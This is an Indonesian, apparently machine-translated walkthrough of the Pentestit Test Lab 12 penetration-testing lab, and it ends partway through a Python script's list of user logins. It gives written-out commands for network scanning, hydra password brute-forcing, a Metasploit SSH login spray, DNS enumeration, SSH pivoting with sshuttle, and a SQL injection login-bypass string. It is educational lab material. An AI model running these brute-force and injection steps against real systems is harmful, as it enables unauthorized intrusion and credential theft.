
Setiap tahun, Pentestit meluncurkan lab pengujian penetrasi baru, Lab Uji, dan artikel ini akan mencakup lab ke-12, yang disebut "z 9r347 39u411z3r" atau, jika diterjemahkan, "The equalizer hebat".
PenafianArtikel ini bukan merupakan nasihat, tetapi hanya menjelaskan langkah-langkah yang saya ambil untuk menjalani laboratorium. Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
Koneksi ke laboratorium
Koneksi ke laboratorium adalah melalui koneksi VPN (karena saya melewati laboratorium pada mesin yang menjalankan Linux, maka semua tindakan akan dijelaskan secara khusus untuk platform ini). Untuk masuk ke jaringan pribadi, Anda harus melakukan langkah-langkah berikut:
- Daftarkan di sini .
- Simpan file konfigurasi dari sini .
- Buka pengaturan jaringan dan pilih "tambah VPN".
- Impor dari file (tentukan file yang diunduh dengan konfigurasi).
- Tentukan login dan kata sandi untuk koneksi (diberikan pada tab "bagaimana menghubungkan").
- Kami terhubung ke VPN dan ping gateway 192.168.101.1. Jika ping lewat, berarti Anda telah berhasil terhubung ke laboratorium.
Pencarian target
Kami memiliki akses ke jaringan 192.168.101.X dengan mask 255.255.255.0. Pertama-tama, Anda perlu menemukan "host langsung" di jaringan. Ini dapat dilakukan dengan mudah dengan utilitas nmap:
nmap -sn 192.168.101.0/24
Opsi nmap yang digunakan-sn - tentukan "host langsung"
ip / mask - alamat jaringan / mask

Jadi kami menemukan tiga host, salah satunya kita sudah tahu (gateway):
- 192.168.101.1
- 192.168.101.12
- 192.168.101.13
Langkah kedua adalah memindai host yang ditemukan untuk port yang terbuka dan tertutup.
nmap -sV -Pn 192.168.101.12-13 -p-
Opsi nmap yang digunakan-sV - memindai dengan deteksi versi perangkat lunak
-Pn - nonaktifkan ping saat memindai
-p- - memindai seluruh jajaran port

Dari laporan itu jelas bahwa 192.168.101.13 tidak tersedia, jadi kami mulai dari 192.168.101.12. Server web berputar pada port 80. Tetapi ketika Anda mencoba mengaksesnya, pengalihan ke
site.test.lab terjadi , yang tidak diketahui oleh kami (DNS tidak dikonfigurasikan untuk pengalihan ini). Verifikasi dilakukan dengan menggunakan peramban dan utilitas curl.
curl http://192.168.101.12:80/ curl http://site.test.lab/

Buat entri di file / etc / hosts untuk site.test.lab. Sekarang, kita dengan tenang pergi ke situs.

Langkah pertama adalah mengumpulkan informasi tentang situs tersebut. Yang paling penting adalah mesin situs (CMS - sistem manajemen konten). Untuk melakukan ini, gunakan utilitas wig.
wig -u http://site.test.lab/
Untuk analisis, kami mendapat laporan - Wordpress digunakan. Mari kita uraikan output wig:
- Entri IP dan judul.
- Nama, versi, dan jenis perangkat lunak.
- Halaman-halaman penting.
- Utilitas yang bisa Anda gunakan.
- Kemungkinan kerentanan dengan tautan ke CVE.


Untuk memindai CMS WordPress dan, yang lebih penting, plugin yang diinstal (mereka sebagian besar rentan), utilitas wpscan paling cocok.
wpscan --url http://site.test.lab/ --enumerate p --random-user-agent
Opsi wpscan yang digunakan--url "URL"
--enumerate p - enumeration (brute) dari plugins
--random-user-agent - ubah bidang agen-pengguna
Kami mendapatkan informasi yang kami butuhkan: versi WordPress, kerentanan dan plugin yang diinstal. Faktanya adalah bahwa kerentanan ini tidak akan memberi kami akses yang diinginkan. Sangat berguna untuk menentukan plugin mana yang digunakan. Dalam hal ini, ini adalah "wp-survey-and-poll". Penting untuk dipahami bahwa pemindai hanya boleh digunakan untuk mendapatkan informasi tentang perangkat lunak. Karena tidak ada database kerentanan tunggal, pemindai mungkin tidak menunjukkan semua eksploitasi yang ada. Sebagai hasil pemindaian, kami memiliki:
- Versi WP: 4.9.8.
- Dua puluh tujuh belas: ya, v. 1.9
- Plugin: wp-survey-and-poll v. 1.5.7
Utilitas searchsploit dirancang untuk dengan mudah mencari basis data exploit-db exploit terbesar, yang diunduh dan disimpan ke PC Anda. Untuk versi 4.9.8, tidak ada kerentanan ditemukan dalam database. Jika kami memeriksa plugin, kami akan menemukan dua kerentanan.
searchsploit "WordPress Survey Poll"

Pelajari lebih lanjut tentang kerentanan ini. Ini adalah injeksi SQL reguler mengikat dalam cookie. Kami perlu menjawab pertanyaan dan mengganti permintaan kami dengan cookie. Tekniknya sangat sederhana: (ekspresi apa pun) ATAU 1 = 2 akan kembali salah, maka DBMS bukannya menyelesaikan jawaban kami akan menampilkan bagian kedua dari UNION dari permintaan gabungan. Ini semua adalah kolom, salah satunya (No. 10) akan ditampilkan pada halaman. Tetapi operasi dari segmen jaringan ini tidak mungkin, seperti yang kemudian diketahui, karena memblokir WAF.

Token MAIL
Setelah kegagalan di situs, Anda perlu menemukan titik masuk lainnya. Di situs tersebut, Anda dapat menemukan info@test.lab login, yang akan kami gunakan untuk memilih informasi otentikasi. Ayo pergi ke port lain. Web berputar pada 8080, tetapi token CSRF digunakan. Pada 25 smtp, kata sandi yang tidak berfungsi. Kami hanya memiliki port 143 yang tersisa - ini adalah layanan IMAP. Untuk brutus, saya menggunakan alat hydra. Ternyata, kata sandinya sangat sederhana.
hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

Karena kami menemukan nama pengguna dan kata sandi untuk surat tersebut, kami masuk ke 192.168.101.12:8080. Sekarang Anda perlu menganalisis semua surat dengan benar. Selain itu, perlu untuk mengumpulkan semua informasi, karena mungkin berguna nanti. Inilah yang saya temukan:
- Kotak masuk: Konfigurasi VPN.
- Dalam keluar: Token untuk pengaturan MAIL.
- Nama pengguna sviridov@test.lab

VPN melalui VPN
Kita perlu memperluas jauh ke jaringan perusahaan. Kami memiliki konfigurasi VPN, tetapi kami tidak dapat memutuskan koneksi dari yang utama. Teknik ini disebut VPN over VPN - ketika kita menghubungkan VPN di dalam VPN di dalam VPN, dll. Untuk VPN, nama pengguna dan kata sandi diperlukan. Kami hanya tahu 2 pengguna (info dan sviridov) dan kata sandi salah satunya. Kami mencoba terhubung menggunakan nama pengguna dan kata sandi yang dikenal, jika tidak berhasil, kami akan bersikap kasar. Untuk menghubungkan, lakukan langkah-langkah berikut:
- Buat file userVPN.txt, di mana baris pertama adalah nama pengguna dan yang kedua adalah kata sandi.
- Tambahkan path ke file ini ke konfigurasi VPN di kolom auth-user-pass
- Anda membuat skrip bash OverVPN.sh dengan konten berikut: openvpn --config configuration_path_to_file_ &
- Tetapkan haknya: chmod 770 ./OverVPN.sh
- Jalankan: ./OverVPN.sh

Kami beruntung, info@test.lab pengguna berhasil masuk, dan kami diberitahu bahwa jaringan baru 172.16.0.0/16 tersedia.

Pertama-tama, Anda perlu menemukan "host langsung" di jaringan, seperti yang Anda lakukan terakhir kali:
nmap -sn 172.16.0.0/16
Jadi kami menemukan empat host.

Pindai setiap host. Pada 172.16.0.1 tidak ada yang ditemukan. Saya berani berasumsi bahwa ini adalah 192.168.101.13 kita yang sudah lama dikenal di jaringan lain. Melalui dia kita terhubung ke jaringan ini. Pada 172.16.0.10, hanya server Web pada port 80 yang tersedia. Pada 172.16.0.17 kita melihat seluruh "tempat pengujian" untuk pengujian. Pada 172.16.1.2 tidak ada. Kemungkinan besar ini adalah layanan VPN lain.
Token DNS
Karena yang berikutnya dalam daftar token adalah DNS, kami akan mulai menganalisis layanan DNS pada port 172.16.0.17. Kerentanan utama adalah mendapatkan catatan DNS - transfer zona DNS (yang disebut permintaan AXFR). Kami menjalankannya menggunakan utilitas nslookup dan menggali.
Yang pertama mengetahui zona dan nama server yang bertanggung jawab atas zona ini.
nslookup > set type=ANY > set port=53 > SERVER 172.16.0.17 > test.lab
Yang kedua akan melakukan transfer.
dig @172.16.0.17 ns1.test.lab axfr


Server DNS ini tidak merespons. Tapi dia tahu tentang sisa DNS di jaringan. Utilitas dnsrecon memungkinkan Anda untuk benar-benar melakukan operasi apa pun dengan dns. Dapatkan sisa DNS di jaringan dan tambahkan ke file / etc / hosts.
dnsrecon -d test.lab -n 172.16.0.17 -t brt
Opsi Dnsrecon-d "domain"
-n "server"
-t brt adalah teknik, dalam hal ini brute force.
Saat memindai host 172.16.0.17, kami mendapatkan tokennya.
dnsrecon -d test.lab -n 172.16.0.17 -a
Token Helpdesk
Tugas selanjutnya dalam daftar: helpdesk. Kami menemukan dan menambahkan domain yang serupa. Selain itu, ini adalah satu-satunya layanan yang berjalan pada 172.16.0.10. Ada bentuk otorisasi yang sederhana, tidak ada CMS yang digunakan. Seperti biasa, kami mencoba masuk sebagai pengguna terkenal. Dan kami diam-diam pergi di bawah info@test.lab pengguna. Kami melihat formulir permintaan, setelah permintaan token, kami tidak mendapatkan apa-apa. Tampaknya kami tidak memilikinya, tetapi, seperti yang terjadi pada tugas-tugas seperti itu, tersedia untuk pengguna lain. Setelah sedikit meninjau halaman, kami menemukan kemampuan untuk mengubah kata sandi.

Setelah memindai formulir pencarian dan perubahan kata sandi dengan berbagai pemindai, kami tidak menemukan apa pun. Lihatlah kode sumber halaman ganti kata sandi. Jika Anda memperbaruinya beberapa kali, Anda akan melihat bahwa bidang tersembunyi dengan token CSRF tidak berubah. Artinya, ini bukan token CSRF. Ini adalah base64, decode dan dapatkan nomornya.


Karena tidak ada cookie yang dikirim, jelas bahwa ini adalah id pengguna. Rencananya adalah sebagai berikut: kami mengubah kata sandi untuk semua id, dan untuk id di mana hasil yang berhasil diperoleh, kami memilih login menggunakan kata sandi kami.
Hanya dua id yang berhasil merespons permintaan perubahan kata sandi. Sekarang tinggal memilih nama pengguna. Root dan admin tidak memberikan hasil, tetapi sviridov@test.lab memberi kami token.
Token iklan
Sebelum Anda pergi jalur VPN, mari kita lihat layanan di 172.16.0.17. Gali SAMBA workgroup TEST (dari analisis nmap). Pertama-tama, Anda perlu mencari tahu pengguna di domain:
enum4linux -U 172.16.0.17
Enum4linux mendefinisikan domain, pengguna dalam domain, informasi mereka dan informasi lainnya. Di antara pengguna, kami mengambil token. Omong-omong, semua login lebih baik untuk disimpan.

Token PENGGUNA
Dari helpdesk, tugas belajar bahwa pengguna sviridov diberi akses ke jaringan, mis., Konfigurasi vpn. Kami juga mengambil kata sandi dari helpdesk. Kami mencoba untuk terhubung ke 192.168.101.13 menggunakan konfigurasi yang ada, tetapi ganti nama pengguna dan kata sandi pengguna di userVPN.txt.

Tidak ada yang terjadi. Kemudian kami mencoba untuk terhubung ke 192.168.101.12. Kami terhubung dan jaringan 192.168.0.0/24 dan 172.16.0.0/16 tersedia untuk kami.

Sekarang lagi perlu untuk melakukan pengintaian jaringan. Dua jaringan 172.16.0.0 dengan topeng 255.255.0.0 tersedia untuk kami, di mana kami menemukan delapan host, dan jaringan 192.168.0.0/24, yang tidak dipindai. Tampaknya firewall diaktifkan di semua host. Kami memindai dengan opsi -Pn, dan dalam laporan kami benar-benar mendapatkan semua host dan port yang difilter di mana-mana. Kami perhatikan ada host di jaringan yang memiliki port 22 terbuka:
- 192.168.0.10
- 192.168.0.15
- 192.168.0.30
- 192.168.0.100
- 192.168.0.205
- 192.168.0.240
Karena satu-satunya hal yang ada pada jaringan 192.168.0.0/24 adalah enam host dengan port ssh terbuka, kami akan menggulir semuanya untuk dapat terhubung di bawah salah satu pengguna yang kami kenal.

Karena ada enam host, kami mengotomatiskan pencarian menggunakan utilitas kerangka metasploit. Kami akan menggunakan modul tambahan / pemindai / ssh / ssh_login.
> use auxiliary/scanner/ssh/ssh_login > set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240 > set USERPASS_FILE '/root/CTF/PT12/userspass.txt' > exploit

Kami pergi ke semua host di bawah kedua pengguna dan mencari informasi. Setelah berjalan jauh pada 192.168.0.100 kami menemukan kesalahan dalam hak akses. Direktori rumah pengguna tersedia untuk dilihat oleh semua orang. Kami menemukan token di dalamnya. Tetapi penulisnya adalah sviridov. Masuk di bawah Svridov dan berikan token.

Tidak ada yang lebih menarik yang ditemukan. Rute ip tidak memiliki jaringan lain. Di cron hanya ada pembersih. Di / tmp / banyak yang tidak bisa dipahami:
- 1.sh - tidak memberikan apa pun.
- Client.jar tidak memulai karena tidak ada JVM. Aneh mengapa dia dibutuhkan sama sekali.
- Ganti nama menjadi DAGESTAN_SILA nmap.
- Dua biji untuk meningkatkan hak istimewa.
- Dan banyak sekali sampah yang berbeda.
Token VPN
Pada jaringan 172.16.0.0/16, port 80 terbuka di semua host. Layak menjelajah situs di semua host:
- Pada 172.16.1.10 kami menemukan token !!! Menyetujui tugas VPN. Rupanya tugasnya adalah menebak untuk terhubung ke 192.168.101.12 sebagai pengguna sviridov.
- Pada 172.16.1.12 formulir otorisasi.
- Pada otentikasi dasar 172.16.1.15 .
Sangat mudah, teruskan.
Token SIEM
Kita pergi ke
172.16.1.12 . Kita membaca apa itu Prewikka. Prewikka adalah antarmuka pengguna utama untuk sistem SIEM Prelude, yang diimplementasikan melalui Web. Akses ke antarmuka adalah melalui browser web. Otentikasi dilakukan menggunakan akun lokal atau melalui direktori LDAP. Eksploitasi tidak dapat ditemukan. Login dan kata sandi Google secara default. Kegagalan, karena mereka ditunjukkan selama instalasi sistem. Tetapi Anda dapat mencoba contoh dari dokumentasi:
prelude: preludepasswd - tidak cocok. Mari kita coba pengguna yang sudah kita kenal (dan kita hanya tahu kata sandi dua). Sviridov muncul. Penting untuk dicatat bahwa hanya administrator yang memiliki akses ke sistem SIEM. Dapat dikatakan bahwa kita mendefinisikan admin.
Kami mengamati bahwa data untuk bulan ini sedang ditampilkan. Kami menerjemahkan jurnal sebulan sebelumnya dan melihat data yang dicatat.

Perhatikan saja domain yang kita tambahkan ke / etc / hosts:
- (admin.test.lab) 172.16.1.25
- (vpn-admin.test.lab) 172.16.1.10
- (repositori.test.lab) 172.16.1.15
- (situs.test.lab) 172.16.0.14

Di antara log repository.test.lab, kami menemukan token.

Karena kami menemukan dan menambahkan entri baru untuk site.test.lab di / etc / hosts, mari kembali dan mengeksploitasi kerentanan di situs.
Token situs
Kembali ke site.test.lab, yang sekarang sesuai dengan 172.16.0.14. Mari kita lihat apakah WAF bekerja untuk itu. Kami mengirim beban kami dari contoh dan mendapatkan versi DBMS. Selanjutnya, kami mencari tahu basis data mana yang digunakan. Jika cocok dengan data default, maka Anda dapat langsung mendapatkan nama dan hash pengguna, karena secara default tabel dengan pengguna adalah: wp_users. Nama basis data (wordpress) sama, oleh karena itu, kami mencari nama pengguna dan kata sandi. Sayangnya, ini tidak memberikan apa-apa. Pengguliran kata sandi juga gagal.
Selanjutnya (saya tidak akan menjelaskan tekniknya, ini adalah dasar-dasarnya) kita mengikuti jalur yang biasa dalam hal ini - kita mendapatkan nama-nama semua tabel. Di antara mereka ada token tabel yang diperlukan. Cari tahu apa kolom dan tipe data. Maka kami mengerti bahwa kami perlu mendapatkan nilai nama.
Mengeksploitasi kerentanan dengan Burp Suite Token repositori
Di SIEM kami menemukan log untuk repository.test.lab. Mari kita coba masuk menggunakan data yang ditemukan. Anda dapat kembali lagi dan mencari log untuk semua layanan yang ada di sana.

Kami lulus, kami mencoba masuk. Berhasil !!! Kami melihat beberapa file dan token.

Token terbalik
Selain token, ada dua file lagi di repositori. Salah satunya untuk menentukan Reverse adalah file bin. Mari kita lakukan analisis dasar dari file yang dapat dieksekusi:
- Strings - utilitas yang menampilkan semua baris dari file. Dalam hal ini, kami melihat banyak garis base64. Decoding tidak memberikan apa-apa.
- Ltrace adalah utilitas yang memotong panggilan fungsi perpustakaan. Dalam hal ini, tidak ada fungsi perpustakaan yang dipanggil.
- Strace adalah utilitas yang memotong semua syskol (panggilan sistem). Kami belum menerima data yang berguna.
Kami belum menerima data yang berguna. Untuk tugas-tugas semacam ini, saya lebih suka menggunakan
Angr untuk solusi otomatis (saya akan menulis lebih banyak tentang perpustakaan angr di artikel berikutnya). Saya memberikan kode dengan python.
import angr import claripy proj = angr.Project('./bin') simgr = proj.factory.simgr() simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1)) s = simgr.found[0] print(s.posix.dumps(0))
Kami mendapatkan token sebagai jawaban.

Token DB
Sekarang mari kita mencari tahu file jar. Anda perlu memahami apa yang dia lakukan. Java adalah bahasa yang didekompilasi, jadi kami mendapatkan kode sumber. Ada banyak program yang memungkinkan Anda melakukan ini (yang terbaik: JAD, JD-gui, Javasnoop, Intellij Idea Decompiler, JD-plugin Eclipse). Saya menggunakan JD-gui untuk dekompilasi dan Intellij Idea untuk membangun proyek. Dapatkan proyek sumber dengan mengikuti langkah-langkah ini:
- Jalankan jd-gui. Di Linux, ada masalah startup yang dapat dipecahkan seperti ini - buat file bash dengan konten berikut:
java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
- Unduh client.jar dan simpan.
- Buka Ide Intellij β Proyek Impor. Tentukan jalur ke folder file.
- Buat proyek dari sumber yang ada.
Mari kita menganalisis kode aplikasi untuk membayangkan apa gunanya. Langkah pertama adalah mengatur parameter koneksi dan SSL. Panggilan terjadi di alamat 172.16.0.55 pada port 5074. Selanjutnya, kami menerima pesan yang meminta Anda memasukkan salah satu nomor untuk memilih permintaan. Bergantung padanya, parameter tertentu dilewatkan ke fungsi Reqvest. Fungsi Reqvest mengembalikan permintaan yang dihasilkan dalam format json. Kami mengirim permintaan dan mendapat tanggapan.
Kode Sumber Aplikasi Terdekompilasi Ada kesulitan: host 172.16.0.55 tidak tersedia untuk kami. Tetapi kami menemukan aplikasi serupa pada 192.168.0.240 di Sviridov. Ini berarti bahwa perutean dikonfigurasi sedemikian rupa sehingga ada akses ke server aplikasi dari komputernya. Karena kami memiliki akses melalui SSH, kami dapat meneruskan port ke lokal kami. Untuk meneruskan port, gunakan utilitas sshuttle.
sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

Hasilnya, kami mendapatkan akses ke jaringan.

Sekarang kami sedang menguji aplikasi dalam mode debug, tetapi untuk mengubah sesuatu, Anda perlu membangun kembali proyek. Saat mencoba menjalankan aplikasi melalui F9, kami mendapatkan kesalahan. Untuk memperbaikinya, Anda harus:
- Hapus perulangan.
- Kesalahan pada json. Hapus seluruh folder dari proyek.
- Pilih proyek dalam menu konteks: Buka Pengaturan Modul atau F4
- Di tab Dependensi, pilih "+" dan tentukan file jar. Jadi dari proyek yang sudah selesai, kita akan memuat pustaka yang sudah dirakit yang rusak oleh dekompiler.

Sekarang aplikasi mulai berhasil, dan kita dapat mulai mencari kerentanan. String kueri, seperti yang telah kita ketahui, dibentuk di dalam fungsi Reqvest. Mari kita ubah sedikit kode untuk memahami bagaimana sistem merespons setiap input kami. Kami menambahkan baris di mana kami akan mengontrol parameter yang dikembalikan dan menampilkannya di konsol. Selanjutnya, kami akan melakukan empat pertanyaan yang mungkin. Seperti yang bisa kita lihat, string JSON dilewatkan. Dan sistem, yang sedikit mengingatkan pada HelpDesk, akan mengembalikan permintaan pengguna kepada kami. Ngomong-ngomong, ternyata basis data berputar di server, karena aplikasi mengembalikan kita kepada pengguna di mana permintaan dibuat.
Agar lebih mudah untuk mengubah dan menyempurnakan parameter, kami membuat fungsi terus-menerus mengembalikan string yang sama.

Karena database digunakan di server, hal pertama yang perlu diperiksa adalah keberadaan injeksi SQL:
- Kami akan mengirimkan beban yang paling tidak berbahaya - fungsi penundaan. Permintaan dengan penundaan 10 detik membutuhkan waktu lebih lama daripada penundaan 0 detik. Ada suntikan TIDUR.
- Periksa apakah rentan terhadap BLIND. Karena kesimpulan untuk kondisi yang benar tidak berubah, aplikasi rentan terhadap injeksi BLIND.
- Pertama, Anda perlu mengetahui jumlah kolom dalam output. Untuk melakukan ini, kami sedang membangun permintaan UNION bersama. Kami memilah-milah jumlah kolom sampai tidak ada output. Jadi output muncul dengan 5 kolom.
- Sekarang Anda perlu mengetahui informasi layanan: DBMS (versi @@) dan nama basis data (basis data ()). Nama basis data adalah untuk mengetahui apa yang harus dihubungi, dan DBMS adalah lingkungan tempat beroperasi. Jadi kami mengetahui bahwa MySQL digunakan, dan nama database adalah "reqvest".
- Sekarang, melalui information_schema lingkungan, kami mencari tahu tabel apa yang ada. Kami tertarik pada token.
- Kami mencari tahu kolom apa yang ada di tabel token.
- Tampilkan konten dari tabel token.
Tugas ini ternyata sangat menarik !!!
Token api pengguna
Setelah menemukan enam host tersembunyi di jaringan 192.168.0.0/24, saya memikirkan fakta bahwa ini mungkin berada di 172.16.0.0/16. Lakukan pemindaian yang sama pada port utama. Karena hasilnya terlalu besar, kami akan mencari kata kunci "terbuka". Kami menemukan dua host lagi dengan web terbuka.

Yah, karena mereka mencoba menyembunyikan 172.16.1.20:8000 dari kami, kami pergi ke sana dan melihat aplikasi AJAX. Yah, seperti biasa, kami memindai direktori. Segala sesuatu yang ditemukan dirb sudah tersedia untuk kita.

Halaman kontak tidak berguna bagi kami. Halaman login membutuhkan otorisasi. Dan dukungan berisi beberapa jenis file barcode. Ini sepertinya sebuah stego, jadi untuk sekarang mari kita tinggalkan. Omong-omong, jika Anda pergi ke halaman ini beberapa kali, maka gambar yang berbeda akan muncul. Kami akan menyimpan semuanya, hanya ada 4. Mereka diterjemahkan sebagai "support_team".
Mari kita lihat direktori apa yang ada di sana. Kami mengamati lima direktori: contac, get_user_list, recover_password, login, dukungan. Jadi jika Anda melihat direktori get_user_list, mereka akan memberi tahu kami bahwa ada dua parameter - string login dan string kata sandi. Kami melihat, kami memilih pengguna dan kata sandi - itu tidak memberikan apa-apa. Dalam barcode, support_team dicoba sebagai login. Dan lagi, kebrutalan tidak memberikan apa pun di mana pun.

Dengan tidak sengaja memasukkan tanda kutip, kami menemukan reaksi aneh.
login=support_teamβ&password=β and β1=1β
Dan kami diperlihatkan daftar pengguna.

Saat mencoba masuk sebagai pengguna mana pun, kami mendapatkan kesalahan yang sama. Temukan pengguna yang benar: pasangan login. Kami akan menulis skrip yang akan melewati semua pasangan dan memilih yang lulus ujian.
Kode from requests import get list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": 